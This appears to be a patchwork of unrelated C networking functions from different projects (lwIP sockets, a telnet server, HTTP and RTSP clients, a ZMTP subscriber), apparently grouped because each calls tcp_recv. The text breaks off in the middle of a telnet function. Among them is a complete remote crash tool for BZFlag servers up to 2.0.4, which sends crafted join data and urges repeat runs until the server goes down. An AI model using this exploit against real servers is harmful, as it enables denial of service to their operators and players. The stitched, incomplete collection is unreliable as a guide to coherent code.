void *recv_client_msg_thread(void *pParams) { PRINTF("pid=%d\n", getpid()); char szData[2048] = {0}; unsigned int nLen; int total_len; int sSocket; int nPos; int index = -1; MsgHead msg_info; client_msg_arg_t *arg = (client_msg_arg_t *)pParams; nPos = arg->pos; index = arg->index; PRINTF("[enter recv_client_msg_thread] index:[%d] pos:[%d]\n", index, nPos); char user_id[16] = {0}; int msg_code = 0; char passkey[64] = {0}; int count = 0; struct timeval timeout ; int ret = 0; if(pParams != NULL) { PRINTF("enter free(pParams)\n"); free(pParams); //free memory pParams = NULL; } sSocket = GETSOCK_NEW(index, nPos); PRINTF("index:[%d] sockfd =%d,pos =%d\n", index, sSocket, nPos); timeout.tv_sec = 3 ; //3 timeout.tv_usec = 0; ret = setsockopt(sSocket, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)); if(ret == -1) { ERR_PRN("setsockopt() Set Send Time Failed\n"); } sem_post(&g_new_tcp_lock[index]); PRINTF("recv_client_msg_thread sem_post!!!!\n"); set_ip_matrix_userid(index, user_id); while(gRunStatus[index]) { memset(szData, 0, sizeof(szData)); if(sSocket <= 0) { goto ExitClientMsg; } total_len = tcp_recv(sSocket, &msg_info, sizeof(msg_info), 0); if(total_len == -1) { ERR_PRN("error:%d,error msg: = %s\n", errno, strerror(errno)); goto ExitClientMsg; } if(ntohs(msg_info.sVer) != 2012) { ERR_PRN(" sver error:%d,error msg: = %s\n", errno, strerror(errno)); goto ExitClientMsg; } total_len = ntohs(msg_info.sLen) - sizeof(msg_info); if(total_len <= 0) { PRINTF("nMsgLen < HEAD_LEN\n"); goto ExitClientMsg; } if(total_len > 0) { nLen = tcp_recv(sSocket, szData, total_len, 0); if(nLen == -1 || nLen < total_len) { ERR_PRN("nLen < nMsgLen -HEAD_LEN\n"); goto ExitClientMsg; } if(parse_cli_xml_msg(index, nPos, szData, &msg_code, passkey, user_id) < 0) { ERR_PRN("parse xml msg failed\n"); //goto ExitClientMsg; } } #if 0 if(process_cli_xml_msg(nPos, msg_code, passkey, user_id) < 0) { PRINTF("process xml msg failed\n"); //goto ExitClientMsg; } #endif //PRINTF( "Switch End!\n"); } ExitClientMsg: //cli_pthread_id[nPos] = 0; PRINTF("Exit Client Msg thread:%d nPos = %d sSocket = %d\n", pthread_self(), nPos, sSocket); if(sSocket == GETSOCK_NEW(index, nPos)) { PRINTF("Exit Client Msg index:[%d] nPos = %d sSocket = %d\n", index, nPos, sSocket); SETCLIUSED_NEW(index, nPos, FALSE); SET_SEND_AUDIO_NEW(index, nPos, FALSE); SETCLILOGIN_NEW(index, nPos, FALSE); SETLOWRATEFLAG_NEW(index, nPos, STOP); SET_SEND_VIDEO_NEW(index, nPos, FALSE); SET_PARSE_LOW_RATE_FLAG(index, nPos, INVALID_SOCKET); SET_FIX_RESOLUTION_FLAG(index, nPos, FALSE); //IISCloseLowRate_new(); set_heart_count(index, nPos, FALSE); close(sSocket); SETSOCK_NEW(index, nPos, INVALID_SOCKET); #ifdef SUPPORT_IP_MATRIX if(get_audio_lock_resolution(index) > 0 && (GET_PASSKEY_FLAG(index, nPos) == 1)) { cut_audio_lock_resolution(index); } if(get_video_lock_resolution(index) > 0 && (GET_PASSKEY_FLAG(index, nPos) == 1)) { cut_video_lock_resolution(index); } if(get_ipmatrix_lock_resolution(index) > 0 && (GET_PASSKEY_FLAG(index, nPos) == 1)) { cut_ipmatrix_lock_resolution(index); } SET_PASSKEY_FLAG(index, nPos, 0); #endif } else { int cli ; for(cli = 0; cli < MAX_CLIENT; cli++) { PRINTF("index:[%d] socket = %d, blogin=%d,bused=%d,sendAudioFlag=%d\n", index, g_client_para[index].cliDATA[cli].sSocket, g_client_para[index].cliDATA[cli].bLogIn, g_client_para[index].cliDATA[cli].bUsed, g_client_para[index].cliDATA[cli].sendAudioFlag); } PRINTF("index:[%d] socket =%d,pos=%d,s=%d\n", index, sSocket, nPos, GETSOCK_NEW(index, nPos)); } pthread_detach(pthread_self()); pthread_exit(NULL); }
void tcp_recv1(struct tcp_pcb *pcb, xt_t callback) { recv_forth_cb = callback; tcp_recv(pcb, recv_cb); }
int main(int argc, char *argv[]) { struct sockaddr_in peer; u_int seed; int sd; u_short port = PORT, len; u_char buff[BUFFSZ], callsign[CALLSIGNSZ + 1], mail[MAILSZ + 1], token[TOKENSZ + 1], version[VERSIONSZ + 1], code[2]; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("\n" "BZFlag <= 2.0.4 (2.x) server crash "VER"\n" "by Luigi Auriemma\n" "e-mail: [email protected]\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s <host> [port(%hu)]\n" "\n" " This tool works also versus servers protected by password without knowing the\n" " keyword!\n" "\n", argv[0], port); exit(1); } if(argc > 2) port = atoi(argv[2]); peer.sin_addr.s_addr = resolv(argv[1]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); fputs("- check server version: ", stdout); sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); if(timeout(sd, TIMEOUT) < 0) { printf("\nError: no reply received within %d seconds, this server doesn't seem valid\n\n", TIMEOUT); exit(1); } tcp_recv(sd, buff, 9); printf(" %s\n", buff); if(memcmp(buff, "BZFS", 4)) { fputs("- this server doesn't seem a valid BZFlag server, I try to continue\n", stdout); } else { if(memcmp(buff + 4, "00", 2)) { fputs("- this server uses a version which is not vulnerable, I try to continue\n", stdout); } } if(!timeout(sd, 0)) { // 2.0.4 sends data while the previous 2.0 not len = bzflag_recv(sd, buff, code); } create_rand_string(callsign, CALLSIGNSZ, &seed); // <=== THE BUG IS HERE create_rand_string(mail, MAILSZ, &seed); create_rand_string(token, TOKENSZ, &seed); create_rand_string(version, VERSIONSZ, &seed); bzflag_send(sd, buff, "en", 2, TYPE, 2, TEAM, CALLSIGNSZ, callsign, MAILSZ, mail, TOKENSZ, token, VERSIONSZ, version, 0); len = bzflag_recv(sd, buff, code); if(memcmp(code, "ac", 2)) { buff[len] = 0; printf("\n" "Error: code \"%.2s\"\n" "%s\n" "\n", code, buff + 2); } close(sd); fputs("- check server:\n", stdout); sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); if( (connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) || (timeout(sd, 3) < 0)) { fputs("\n Server IS vulnerable!!!\n\n", stdout); } else { fputs("\n" " Server doesn't seem vulnerable\n" " RELAUNCH THIS TOOL OTHER TIMES UNTIL YOU ARE UNABLE TO CRASH IT!!!\n" "\n", stdout); } close(sd); return(0); }
int main (void) { puts ("I: starting subscriber"); // Create TCP socket int peer; if ((peer = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) derp ("socket"); // Connect to publisher struct sockaddr_in si_peer = { 0 }; si_peer.sin_family = AF_INET; si_peer.sin_port = htons (9000); si_peer.sin_addr.s_addr = inet_addr ("192.168.30.138"); // Keep trying to connect until we succeed puts ("I: waiting for connection"); while (connect (peer, (const struct sockaddr *) &si_peer, sizeof (si_peer)) == -1) sleep (1); puts ("I: connected OK"); // This is our greeting (64 octets) zmtp_greeting_t outgoing = { { 0xFF, 0, 0, 0, 0, 0, 0, 0, 1, 0x7F }, { 3, 0 }, { 'N', 'U', 'L', 'L', 0 }, { 0 }, { 0 } }; // Do full backwards version detection following RFC23 // Send first ten bytes of greeting to peer tcp_send (peer, &outgoing, 10); // Read first byte from peer zmtp_greeting_t incoming; tcp_recv (peer, &incoming, 1); uint8_t length = incoming.signature [0]; if (length != 0xFF) { puts ("E: signature not valid (1)"); close (peer); exit (0); } // Looks like 2.0+, read 9 more bytes to be sure tcp_recv (peer, (uint8_t *) &incoming + 1, 9); if ((incoming.signature [9] & 1) != 1) { puts ("E: signature not valid (2)"); close (peer); exit (0); } // Exchange major version numbers puts ("I: signature valid, exchanging major versions"); tcp_send (peer, (uint8_t *) &outgoing + 10, 1); tcp_recv (peer, (uint8_t *) &incoming + 10, 1); if (incoming.version [0] >= 3) { // If version >= 3, the peer is using ZMTP 3.0, so send // rest of the greeting and continue with ZMTP 3.0. puts ("I: peer is talking ZMTP 3.0"); puts ("I: sending rest of greeting..."); tcp_send (peer, (uint8_t *) &outgoing + 11, 53); // Get remainder of greeting from peer puts ("I: waiting for greeting from peer..."); tcp_recv (peer, (uint8_t *) &incoming + 11, 53); // Do NULL handshake - send READY command // For now, empty dictionary puts ("I: have full greeting from peer"); zmtp_msg_t ready = { 0x04, 8 }; memcpy (ready.data, "READY ", 8); puts ("I: sending READY"); zmtp_send (peer, &ready); // Now wait for peer's READY command puts ("I: expecting READY from peer"); zmtp_recv (peer, &ready); assert (memcmp (ready.data, "READY ", 8) == 0); puts ("I: OK! NULL security handshake completed"); } else { puts ("E: major version not valid"); close (peer); exit (0); } puts ("I: READY, printing messages"); while (true) { zmtp_msg_t msg; zmtp_recv (peer, &msg); msg.data [msg.size] = 0; puts ((char *) msg.data); } close (peer); return 0; }
STATIC mp_obj_t lwip_socket_accept(mp_obj_t self_in) { lwip_socket_obj_t *socket = self_in; if (socket->pcb.tcp == NULL) { mp_raise_OSError(MP_EBADF); } if (socket->type != MOD_NETWORK_SOCK_STREAM) { mp_raise_OSError(MP_EOPNOTSUPP); } // I need to do this because "tcp_accepted", later, is a macro. struct tcp_pcb *listener = socket->pcb.tcp; if (listener->state != LISTEN) { mp_raise_OSError(MP_EINVAL); } // accept incoming connection if (socket->incoming.connection == NULL) { if (socket->timeout == 0) { mp_raise_OSError(MP_EAGAIN); } else if (socket->timeout != -1) { for (mp_uint_t retries = socket->timeout / 100; retries--;) { mp_hal_delay_ms(100); if (socket->incoming.connection != NULL) break; } if (socket->incoming.connection == NULL) { mp_raise_OSError(MP_ETIMEDOUT); } } else { while (socket->incoming.connection == NULL) { poll_sockets(); } } } // create new socket object lwip_socket_obj_t *socket2 = m_new_obj_with_finaliser(lwip_socket_obj_t); socket2->base.type = (mp_obj_t)&lwip_socket_type; // We get a new pcb handle... socket2->pcb.tcp = socket->incoming.connection; socket->incoming.connection = NULL; // ...and set up the new socket for it. socket2->domain = MOD_NETWORK_AF_INET; socket2->type = MOD_NETWORK_SOCK_STREAM; socket2->incoming.pbuf = NULL; socket2->timeout = socket->timeout; socket2->state = STATE_CONNECTED; socket2->recv_offset = 0; socket2->callback = MP_OBJ_NULL; tcp_arg(socket2->pcb.tcp, (void*)socket2); tcp_err(socket2->pcb.tcp, _lwip_tcp_error); tcp_recv(socket2->pcb.tcp, _lwip_tcp_recv); tcp_accepted(listener); // make the return value uint8_t ip[NETUTILS_IPV4ADDR_BUFSIZE]; memcpy(ip, &(socket2->pcb.tcp->remote_ip), sizeof(ip)); mp_uint_t port = (mp_uint_t)socket2->pcb.tcp->remote_port; mp_obj_tuple_t *client = mp_obj_new_tuple(2, NULL); client->items[0] = socket2; client->items[1] = netutils_format_inet_addr(ip, port, NETUTILS_BIG); return client; }
//***************************************************************************** //! Receives a TCP packet from lwIP for the telnet server. //! //! \param arg is the telnet state data for this connection. //! \param pcb is the pointer to the TCP control structure. //! \param p is the pointer to the pbuf structure containing the packet data. //! \param err is used to indicate if any errors are associated with the //! incoming packet. //! //! This function is called when the lwIP TCP/IP stack has an incoming packet //! to be processed. //! //! \return This function will return an lwIP defined error code. //***************************************************************************** err_t TelnetReceive(void *arg, struct tcp_pcb *pcb, struct pbuf *p, err_t err) { tState *pState = arg; SYS_ARCH_DECL_PROTECT(lev); #if 0 CONSOLE("%u: receive 0x%08x, 0x%08x, 0x%08x, %d\n", pState->ucSerialPort, arg, pcb, p, err); #else CONSOLE("%u: receive error=%d\n", pState->ucSerialPort, err); #endif // Place the incoming packet onto the queue if there is space. if((err == ERR_OK) && (p != NULL)) { // This should be done in a protected/critical section. SYS_ARCH_PROTECT(lev); // Do we have space in the queue? int iNextWrite = ((pState->iBufQWrite + 1) % PBUF_POOL_SIZE); if(iNextWrite == pState->iBufQRead) { // The queue is full - discard the pbuf and return since we can't handle it just now. CONSOLE("%u: WARNING queue is full - discard data\n", pState->ucSerialPort); // Restore previous level of protection. SYS_ARCH_UNPROTECT(lev); // Free up the pbuf. Note that we don't acknowledge receipt of // the data since we want it to be retransmitted later. pbuf_free(p); } else { // Place the pbuf in the circular queue. pState->pBufQ[pState->iBufQWrite] = p; // Increment the queue write index. pState->iBufQWrite = iNextWrite; // Restore previous level of protection. SYS_ARCH_UNPROTECT(lev); } } // If a null packet is passed in, close the connection. else if((err == ERR_OK) && (p == NULL)) { CONSOLE("%u: received NULL packet - close connection\n", pState->ucSerialPort); // Clear out all of the TCP callbacks. tcp_arg(pcb, NULL); tcp_sent(pcb, NULL); tcp_recv(pcb, NULL); tcp_err(pcb, NULL); tcp_poll(pcb, NULL, 1); // Close the TCP connection. err = tcp_close(pcb); if (err != ERR_OK) { WARNING("%u: TelnetReceive.tcp_close failed, error=%d\n", pState->ucSerialPort, err); ErrorTCPOperation(pState->ucSerialPort, err, TCP_CLOSE_RECEIVE); } // Clear out any pbufs associated with this session. TelnetFreePbufs(pState); // Clear out the telnet session PCB. pState->pConnectPCB = NULL; StartConnection(pState->ucSerialPort); } CustomerSettings1_TelnetReceive(pState->ucSerialPort); return(ERR_OK); }
STATIC mp_obj_t lwip_socket_connect(mp_obj_t self_in, mp_obj_t addr_in) { lwip_socket_obj_t *socket = self_in; if (socket->pcb.tcp == NULL) { mp_raise_OSError(MP_EBADF); } // get address uint8_t ip[NETUTILS_IPV4ADDR_BUFSIZE]; mp_uint_t port = netutils_parse_inet_addr(addr_in, ip, NETUTILS_BIG); ip_addr_t dest; IP4_ADDR(&dest, ip[0], ip[1], ip[2], ip[3]); err_t err = ERR_ARG; switch (socket->type) { case MOD_NETWORK_SOCK_STREAM: { if (socket->state != STATE_NEW) { if (socket->state == STATE_CONNECTED) { mp_raise_OSError(MP_EISCONN); } else { mp_raise_OSError(MP_EALREADY); } } // Register our receive callback. tcp_recv(socket->pcb.tcp, _lwip_tcp_recv); socket->state = STATE_CONNECTING; err = tcp_connect(socket->pcb.tcp, &dest, port, _lwip_tcp_connected); if (err != ERR_OK) { socket->state = STATE_NEW; mp_raise_OSError(error_lookup_table[-err]); } socket->peer_port = (mp_uint_t)port; memcpy(socket->peer, &dest, sizeof(socket->peer)); // And now we wait... if (socket->timeout != -1) { for (mp_uint_t retries = socket->timeout / 100; retries--;) { mp_hal_delay_ms(100); if (socket->state != STATE_CONNECTING) break; } if (socket->state == STATE_CONNECTING) { mp_raise_OSError(MP_EINPROGRESS); } } else { while (socket->state == STATE_CONNECTING) { poll_sockets(); } } if (socket->state == STATE_CONNECTED) { err = ERR_OK; } else { err = socket->state; } break; } case MOD_NETWORK_SOCK_DGRAM: { err = udp_connect(socket->pcb.udp, &dest, port); break; } } if (err != ERR_OK) { mp_raise_OSError(error_lookup_table[-err]); } return mp_const_none; }
static int http_fileop_open(void **ref,void *fsctx_arg,char *filename,int mode) { http_fsctx_t *fsctx; http_file_t *file; char temp[200]; char *hostname, *filen; int hlen; int termidx; int res; int err = 0; char *hptr; char *tok; uint8_t hostaddr[IP_ADDR_LEN]; uint8_t termstr[4]; uint8_t b; if (mode != FILE_MODE_READ) return CFE_ERR_UNSUPPORTED; fsctx = (http_fsctx_t *) fsctx_arg; file = KMALLOC(sizeof(http_file_t),0); if (!file) { return CFE_ERR_NOMEM; } file->http_filename = lib_strdup(filename); if (!file->http_filename) { KFREE(file); return CFE_ERR_NOMEM; } lib_chop_filename(file->http_filename,&hostname,&filen); /* * Look up remote host */ res = dns_lookup(hostname,hostaddr); if (res < 0) { KFREE(file); return res; } file->http_socket = tcp_socket(); if (file->http_socket < 0) { KFREE(file->http_filename); KFREE(file); return -1; } /* * Connect to remote host. */ tcp_setflags(file->http_socket,0); /* set socket to blocking */ res = tcp_connect(file->http_socket,hostaddr,80); if (res < 0) { tcp_close(file->http_socket); KFREE(file->http_filename); KFREE(file); return res; } /* * Send GET command. Supply the hostname (for HTTP 1.1 requirements) * and set the connection to close as soon as all the data is received. */ hlen = sprintf(temp,"GET /%s HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n",filen,hostname); res = tcp_send(file->http_socket,temp,hlen); if (res < 0) { tcp_close(file->http_socket); KFREE(file->http_filename); KFREE(file); return res; } /* * Read bytes until we either reach EOF or we see "\r\n\r\n" * This is the server's status string. */ termstr[0] = '\r'; termstr[1] = '\n'; termstr[2] = '\r'; termstr[3] = '\n'; termidx = 0; file->http_offset = 0; file->http_blen = 0; file->http_bptr = file->http_buffer; res = 0; for (;;) { res = tcp_recv(file->http_socket,&b,1); if (res < 0) break; if (b == termstr[termidx]) { termidx++; if (termidx == 4) break; } else { termidx = 0; } /* * Save the bytes from the header up to our buffer * size. It's okay if we don't save it all, * since all we want is the result code which comes * first. */ if (file->http_blen < (HTTP_BUFSIZE-1)) { *(file->http_bptr) = b; file->http_bptr++; file->http_blen++; } } /* * Premature EOFs are not good, bail now. */ if (res < 0) { err = CFE_ERR_EOF; goto protocolerr; } /* * Skip past the HTTP response header and grab the result code. * Sanity check it a little. */ *(file->http_bptr) = 0; hptr = file->http_buffer; tok = lib_gettoken(&hptr); if (!tok || (memcmp(tok,"HTTP",4) != 0)) { err = CFE_ERR_PROTOCOLERR; goto protocolerr; } tok = lib_gettoken(&hptr); if (!tok) { err = CFE_ERR_PROTOCOLERR; goto protocolerr; } switch (lib_atoi(tok)) { case 200: err = 0; break; case 404: err = CFE_ERR_FILENOTFOUND; break; } /* * If we get to here, the file is okay and we're about to receive data. */ if (err == 0) { *ref = file; return 0; } protocolerr: tcp_close(file->http_socket); KFREE(file->http_filename); KFREE(file); *ref = NULL; return err; }
STATIC mp_obj_t lwip_socket_accept(mp_obj_t self_in) { lwip_socket_obj_t *socket = self_in; if (socket->pcb == NULL) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EBADF))); } if (socket->type != MOD_NETWORK_SOCK_STREAM) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EOPNOTSUPP))); } // I need to do this because "tcp_accepted", later, is a macro. struct tcp_pcb *listener = (struct tcp_pcb*)socket->pcb; if (listener->state != LISTEN) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EINVAL))); } // accept incoming connection if (socket->incoming == NULL) { if (socket->timeout != -1) { for (mp_uint_t retries = socket->timeout / 100; retries--;) { mp_hal_delay_ms(100); if (socket->incoming != NULL) break; } if (socket->incoming == NULL) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(ETIMEDOUT))); } } else { while (socket->incoming == NULL) { mp_hal_delay_ms(100); } } } // create new socket object lwip_socket_obj_t *socket2 = m_new_obj_with_finaliser(lwip_socket_obj_t); socket2->base.type = (mp_obj_t)&lwip_socket_type; // We get a new pcb handle... socket2->pcb = socket->incoming; socket->incoming = NULL; // ...and set up the new socket for it. socket2->domain = MOD_NETWORK_AF_INET; socket2->type = MOD_NETWORK_SOCK_STREAM; socket2->incoming = NULL; socket2->timeout = socket->timeout; socket2->connected = 2; socket2->leftover_count = 0; tcp_arg((struct tcp_pcb*)socket2->pcb, (void*)socket2); tcp_err((struct tcp_pcb*)socket2->pcb, _lwip_tcp_error); tcp_recv((struct tcp_pcb*)socket2->pcb, _lwip_tcp_recv); tcp_accepted(listener); // make the return value uint8_t ip[NETUTILS_IPV4ADDR_BUFSIZE]; memcpy(ip, &(((struct tcp_pcb*)socket2->pcb)->remote_ip), 4); mp_uint_t port = (mp_uint_t)((struct tcp_pcb*)socket2->pcb)->remote_port; mp_obj_tuple_t *client = mp_obj_new_tuple(2, NULL); client->items[0] = socket2; client->items[1] = netutils_format_inet_addr(ip, port, NETUTILS_BIG); return client; }
static err_t accept_tcp(void *arg, struct tcp_pcb *pcb, err_t err) { int s, i, ns; sockfd_t * fd, * nsd; err_t rv = ERR_OK; // printf("kti: accept_tcp for %d called (err %d)\n", (int)arg, err); // Dunno what to do here if not... assert( err == ERR_OK ); // Get the socket struct and lock s = (int)arg; if (sock_verify(s) < 0) return ERR_CONN; fd = fds + s; // Get access. mutex_lock(fd->mutex); // Do we have enough space? if (fd->conncnt >= fd->connmax) { rv = ERR_MEM; goto out; } // Add the connection for (i=0; i<fd->connmax; i++) if (fd->conns[i] < 0) break; if (i >= fd->connmax) { assert( 0 ); rv = ERR_MEM; goto out; } // Create a new socket FD for the connection. ns = sock_open(); if (ns < 0) { rv = ERR_MEM; goto out; } // Assign stuff. We've already got our sync objects, we just // need to get things into it. To make sure nothing weird happens // here, we'll lock first. nsd = fds + ns; mutex_lock(nsd->mutex); nsd->tcppcb = pcb; // Init our counters nsd->recv = 0; nsd->send = tcp_sndbuf(nsd->tcppcb); // Setup callbacks tcp_arg(nsd->tcppcb, (void *)ns); tcp_recv(nsd->tcppcb, recv_tcp); tcp_sent(nsd->tcppcb, sent_tcp); tcp_poll(nsd->tcppcb, poll_tcp, 4); // 4 == 4 TCP timer intervals tcp_err(nsd->tcppcb, err_tcp); // Copy over the peer address nsd->name.sin_len = sizeof(struct sockaddr_in); nsd->name.sin_family = AF_INET; nsd->name.sin_port = htons(nsd->tcppcb->remote_port); nsd->name.sin_addr.s_addr = nsd->tcppcb->remote_ip.addr; mutex_unlock(nsd->mutex); fd->conns[i] = ns; fd->conncnt++; // Signal any thread waiting on accept() cond_signal(fd->connect); out: mutex_unlock(fd->mutex); if (rv == ERR_OK) genwait_wake_all(&select_wait); return rv; }
int rtsp_wait_reply(struct rtsp_client * rtsp, int tmo) { struct tcp_pcb * tp = rtsp->tcp; char * buf = rtsp->buf; int n; int i; int c1; int c2; int rem; int cnt; int ln; int pos; rem = RTSP_CLIENT_BUF_LEN; /* free space in the input buffer */ cnt = 0; /* used space in the input buffer */ ln = 0; /* line start */ pos = 0; /* header position */ c1 = '\0'; /* receive and decode RTSP headers */ while ((n = tcp_recv(tp, &buf[cnt], rem)) > 0) { rem -= n; i = cnt; cnt += n; for (; i < cnt; ++i) { c2 = buf[i]; if (c1 == '\r' && c2 == '\n') { char * val; unsigned int hdr; buf[i - 1] = '\0'; #if 0 printf("%s\n", &buf[ln]); #endif if (i == ln + 1) { DBG("end of RTSP header"); i++; rtsp->cnt = cnt; rtsp->pos = i; rtsp->lin = i; if (rtsp->resp.code != 200) { WARN("Server response code: %d", rtsp->resp.code); return -1; } return 0; } if ((hdr = rtsp_parse_hdr(&buf[ln], &val)) == 0) { WARN("invalid header field: \"%s\"", &buf[ln]); // return -1; } else { // DBG("header field received: %s", rtsp_hdr_name[hdr]); if (pos == 0) { if (hdr != HDR_RTSP_1_0) { WARN("invalid response"); return -1; } rtsp->resp.code = atoi(val); } else { switch (hdr) { case HDR_CSEQ: if (atoi(val) != rtsp->cseq) { WARN("invalid CSeq"); return -1; } break; case HDR_SESSION: rtsp->sid = strtoull(val, NULL, 16); break; case HDR_TRANSPORT: rtsp_decode_transport(rtsp, val); break; case HDR_CONTENT_LENGTH: rtsp->resp.content_len = strtoul(val, NULL, 10); // DBG("Content Length: %d", rtsp->content_len); break; } } } /* increment header counter */ pos++; /* move to the next line */ ln = i + 1; } c1 = c2; } if (ln != 0) { int j; for (i = 0, j = ln; j < cnt; ++i, ++j) buf[i] = buf[j]; cnt = i; rem = RTSP_CLIENT_BUF_LEN - i; ln = 0; } if (rem <= 0) { ERR("buffer ovreflow!"); return -1; } } tcp_close(tp); return -1; }
int lwip_connect(int s, struct sockaddr *name, socklen_t namelen) { sockfd_t * fd; struct ip_addr ip; int port, rv = 0; s = sock_for_fd(s); if (s < 0) { errno = EBADF; return -1; } fd = fds + s; // Make sure it's an internet address we understand. if (namelen != sizeof(struct sockaddr_in)) { errno = ENAMETOOLONG; return -1; } // Get access mutex_lock(fd->mutex); // Copy it over memcpy(&fd->name, name, namelen); // Convert this to an lwIP-happy format ip.addr = ((struct sockaddr_in *)name)->sin_addr.s_addr; port = ((struct sockaddr_in *)name)->sin_port; // Are we TCP or UDP? switch (fd->type) { case SOCK_STREAM: // This might have gotten made already, bind is valid on // outgoing sockets too. if (!fd->tcppcb) fd->tcppcb = tcp_new(); tcp_arg(fd->tcppcb, (void *)s); tcp_recv(fd->tcppcb, recv_tcp); tcp_sent(fd->tcppcb, sent_tcp); tcp_poll(fd->tcppcb, poll_tcp, 4); // 4 == 4 TCP timer intervals tcp_err(fd->tcppcb, err_tcp); if (tcp_connect(fd->tcppcb, &ip, ntohs(port), connect_tcp) != ERR_OK) { if (tcp_close(fd->tcppcb) != ERR_OK) tcp_abort(fd->tcppcb); fd->tcppcb = NULL; errno = EINVAL; rv = -1; goto out; } break; case SOCK_DGRAM: // This might have gotten made already, bind is valid on // outgoing sockets too. if (!fd->udppcb) fd->udppcb = udp_new(); udp_recv(fd->udppcb, recv_udp, (void *)s); udp_connect(fd->udppcb, &ip, ntohs(port)); break; default: assert( 0 ); errno = EINVAL; rv = -1; goto out; } // If we are doing a TCP connect, we need to wait for the results // of the operation. if (fd->type == SOCK_STREAM) { // Wait for the result fd->connerr = 10; while (fd->connerr > 0) { cond_wait(fd->connect, fd->mutex); } // Convert error codes switch (fd->connerr) { case ERR_OK: break; case ERR_MEM: case ERR_BUF: case ERR_VAL: case ERR_ARG: case ERR_IF: errno = EINVAL; rv = -1; goto out; case ERR_ABRT: case ERR_RST: case ERR_CLSD: case ERR_CONN: errno = ECONNREFUSED; rv = -1; goto out; case ERR_RTE: errno = ENETUNREACH; rv = -1; goto out; case ERR_USE: errno = EADDRINUSE; rv = -1; goto out; } if (fd->connerr == ERR_OK) { // Init our counters fd->recv = 0; fd->send = tcp_sndbuf(fd->tcppcb); } } out: mutex_unlock(fd->mutex); return rv; }
int __attribute__((noreturn)) telnet_input_task(struct telnet_svc * tn) { struct tcp_pcb * svc; struct tcp_pcb * tp; char buf[128]; int sb_len; int len; char * src; int rem; int binary; int state; int c; struct tn_opt opt; unsigned int head; svc = tn->svc; for (;;) { INF("TELNET wating for connection."); DCC_LOG(LOG_TRACE, "TELNET: waiting for connection..."); if ((tp = tcp_accept(svc)) == NULL) { DCC_LOG(LOG_ERROR, "tcp_accept()."); break; } INF("TELNET connection accepted."); DCC_LOG(LOG_TRACE, "TELNET: accepted."); tn->tp = tp; tn_opt_clr(&opt); sb_len = 0; binary = 0; state = TN_DATA; tn_opt_will(tp, &opt, TELOPT_SGA); tn_opt_do(tp, &opt, TELOPT_SGA); tn_opt_will(tp, &opt, TELOPT_ECHO); tn_opt_will(tp, &opt, TELOPT_BINARY); tn_opt_do(tp, &opt, TELOPT_BINARY); head = tn->rx.head; for (;;) { if (head != tn->rx.tail) { /* update the head */ tn->rx.head = head; DCC_LOG1(LOG_TRACE, "rx nonempty: head=%d", head); /* signal the head update */ thinkos_flag_give(tn->rx.nonempty_flag); } /* receive data form network */ if ((len = tcp_recv(tp, buf, 128)) <= 0) { DCC_LOG1(LOG_WARNING, "tcp_recv(): %d", len); break; } DCC_LOG1(LOG_TRACE, "recv: %d", len); /* set the input processing pointer */ src = buf; /* input remaining (to be processed) bytes */ rem = len; while (rem > 0) { c = *src++; rem--; if (state == TN_DATA) { if (c == IAC) { state = TN_IAC_RCVD; } else { if ((binary) || ((c >= 3) && (c < 127))) { /* ASCII characters */ DCC_LOG1(LOG_TRACE, "rx nonempty: head=%d", head); /* buffer is full */ if (head == (tn->rx.tail + TELNET_SVC_RX_BUF_LEN)) { /* update the head */ tn->rx.head = head; /* signal the head update */ thinkos_flag_give(tn->rx.nonempty_flag); /* wait for space in the input buffer */ while (1) { if (head < (tn->rx.tail + TELNET_SVC_RX_BUF_LEN)) { break; } thinkos_flag_take(tn->rx.nonfull_flag); } } tn->rx.buf[head++ % TELNET_SVC_RX_BUF_LEN] = c; } } continue; } /* handles TELNET inputs options */ switch (state) { case TN_IAC_RCVD: switch (c) { case IAC: state = TN_DATA; break; case DONT: state = TN_DONT_RCVD; break; case DO: state = TN_DO_RCVD; break; case WONT: state = TN_WONT_RCVD; break; case WILL: state = TN_WILL_RCVD; break; case SB: state = TN_SUBOPTION_ID; break; case EL: case EC: case AYT: case AO: case IP: case BREAK: case DM: case NOP: case SE: case EOR: case ABORT: case SUSP: case xEOF: default: state = TN_DATA; break; } break; case TN_DONT_RCVD: DCC_LOG1(LOG_TRACE, "DONT %s", TELOPT(c)); tn_opt_wont(tp, &opt, c); state = TN_DATA; break; case TN_DO_RCVD: DCC_LOG1(LOG_TRACE, "DO %s", TELOPT(c)); switch (c) { case TELOPT_SGA: tn_opt_will(tp, &opt, c); break; case TELOPT_ECHO: tn_opt_will(tp, &opt, c); break; case TELOPT_BINARY: tn_opt_will(tp, &opt, c); break; default: tn_opt_wont(tp, &opt, c); } state = TN_DATA; break; case TN_WONT_RCVD: DCC_LOG1(LOG_TRACE, "WONT %s", TELOPT(c)); tn_opt_dont(tp, &opt, c); state = TN_DATA; break; case TN_WILL_RCVD: DCC_LOG1(LOG_TRACE, "WILL %s", TELOPT(c)); switch (c) { case TELOPT_ECHO: tn_opt_dont(tp, &opt, c); break; case TELOPT_SGA: tn_opt_do(tp, &opt, c); break; case TELOPT_BINARY: tn_opt_do(tp, &opt, c); binary = 1; break; default: tn_opt_dont(tp, &opt, c); } state = TN_DATA; break; case TN_SUBOPTION_ID: state = TN_SUBOPTION; break; case TN_SUBOPTION: if (c == IAC) state = TN_SB_IAC_RCVD; if (sb_len < TN_SB_BUF_LEN) { 